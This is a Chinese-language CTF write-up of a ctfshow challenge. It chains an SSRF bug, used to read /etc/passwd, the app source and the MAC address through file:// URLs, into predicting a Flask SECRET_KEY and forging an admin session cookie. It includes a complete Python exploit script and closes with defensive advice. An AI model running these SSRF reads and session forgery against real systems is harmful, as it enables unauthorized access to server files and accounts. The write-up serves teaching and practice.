Flask Session 伪造

Flask Session 伪造漏洞分析与利用

题目来源,ctfshow靶场web基础

一、题目分析

1.1 题目概述

题目地址:https://88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show/

题目类型:Flask Session 伪造

1.2 漏洞原理

Flask 的 session 机制依赖于 SECRET_KEY 对 session 数据进行签名。如果 SECRET_KEY 可以被预测或泄露,攻击者就可以伪造任意 session 数据。

关键代码分析/app/app.py):

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
  • uuid.getnode() 返回当前主机的 MAC 地址(整数形式)
  • random.seed() 使用 MAC 地址作为随机种子
  • random.random() * 100 生成 0-100 之间的随机数作为 SECRET_KEY

1.3 漏洞链

SSRF漏洞 → 读取MAC地址 → 计算SECRET_KEY → 伪造Session → 获取Flag

二、解题步骤

步骤1:发现 SSRF 漏洞

访问首页发现存在 /read?url= 参数,可以读取远程内容:

GET /read?url=https://baidu.com HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show

尝试读取本地文件,确认 SSRF 存在:

GET /read?url=file:///etc/passwd HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show

步骤2:读取应用源代码

GET /read?url=file:///app/app.py HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show

获取到完整代码:

# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
app.debug = False

@app.route('/')
def index():
    session['username'] = 'guest'
    return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        if re.findall('flag', url, re.IGNORECASE):
            return '禁止访问'
        res = urllib.request.urlopen(url)
        return res.read().decode('utf-8', errors='ignore')
    except Exception as ex:
        print(str(ex))
    return '无读取内容可以展示'

@app.route('/flag')
def flag():
    if session.get('username') == 'admin':
        return open('/flag.txt', encoding='utf-8').read()
    else:
        return '访问受限'

步骤3:获取 MAC 地址

GET /read?url=file:///sys/class/net/eth0/address HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show

返回结果:02:42:ac:0c:6e:29

步骤4:计算 SECRET_KEY

编写 Python 脚本计算 SECRET_KEY:

import random

# MAC地址转换为整数
mac_address = "02:42:ac:0c:6e:29"
mac_int = int(mac_address.replace(":", ""), 16)

# 计算SECRET_KEY(与目标服务器相同的算法)
random.seed(mac_int)
secret_key = str(random.random() * 100)
print(f"SECRET_KEY: {secret_key}")

运行结果:

SECRET_KEY: 11.096717512097253

步骤5:伪造 Session

使用 flask-unsign 工具生成伪造的 session:

python -m flask_unsign --sign --cookie "{'username': 'admin'}" --secret "'11.096717512097253'"

输出结果:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ag0mFw.k1DNcElw9Wj635n8-F75u428yUc

步骤6:获取 Flag

携带伪造的 session 访问 /flag

GET /flag HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ag0mFw.k1DNcElw9Wj635n8-F75u428yUc

成功获取 Flag:

CTF{flask_session_is_secure}

三、完整 EXP 脚本

import random
import requests

# 目标地址
target = "https://88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show"

# Step 1: 获取 MAC 地址
print("[+] 获取 MAC 地址...")
resp = requests.get(f"{target}/read?url=file:///sys/class/net/eth0/address")
mac_address = resp.text.strip()
print(f"MAC地址: {mac_address}")

# Step 2: 计算 SECRET_KEY
print("[+] 计算 SECRET_KEY...")
mac_int = int(mac_address.replace(":", ""), 16)
random.seed(mac_int)
secret_key = str(random.random() * 100)
print(f"SECRET_KEY: {secret_key}")

# Step 3: 生成伪造的 session(使用 flask-unsign)
import subprocess
result = subprocess.run(
    ["python", "-m", "flask_unsign", "--sign", "--cookie", "{'username': 'admin'}", "--secret", f"'{secret_key}'"],
    capture_output=True, text=True
)
forged_session = result.stdout.strip()
print(f"伪造的session: {forged_session}")

# Step 4: 获取 Flag
print("[+] 获取 Flag...")
cookies = {"session": forged_session}
resp = requests.get(f"{target}/flag", cookies=cookies)
print(f"Flag: {resp.text.strip()}")

四、防御建议

4.1 安全的 SECRET_KEY 管理

  1. 使用足够随机的 SECRET_KEY

    import secrets
    app.config['SECRET_KEY'] = secrets.token_hex(32)  # 256位随机密钥
    
  2. 使用环境变量存储密钥

    import os
    app.config['SECRET_KEY'] = os.environ.get('FLASK_SECRET_KEY')
    

4.2 SSRF 防护

  1. URL 白名单校验:只允许访问特定域名
  2. 禁止 file:// 协议:过滤本地文件访问
  3. 禁止内网地址:防止访问内网资源

4.3 Session 安全增强

  1. 设置 Session 过期时间

    app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)
    
  2. 使用安全的 Cookie 属性

    • HttpOnly: 防止 XSS 窃取 Cookie
    • Secure: 只在 HTTPS 下传输
    • SameSite: 防止 CSRF 攻击

五、总结

本题通过 SSRF 漏洞读取服务器敏感信息(MAC地址、源代码),结合 Flask session 的签名机制,成功伪造 admin 用户的 session,最终获取 Flag。

关键点

  1. Flask 的 session 签名依赖 SECRET_KEY
  2. SECRET_KEY 的生成算法存在可预测性
  3. MAC 地址可以通过多种方式获取
  4. flask-unsign 是 Flask session 安全测试的重要工具

Flag: CTF{flask_session_is_secure}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值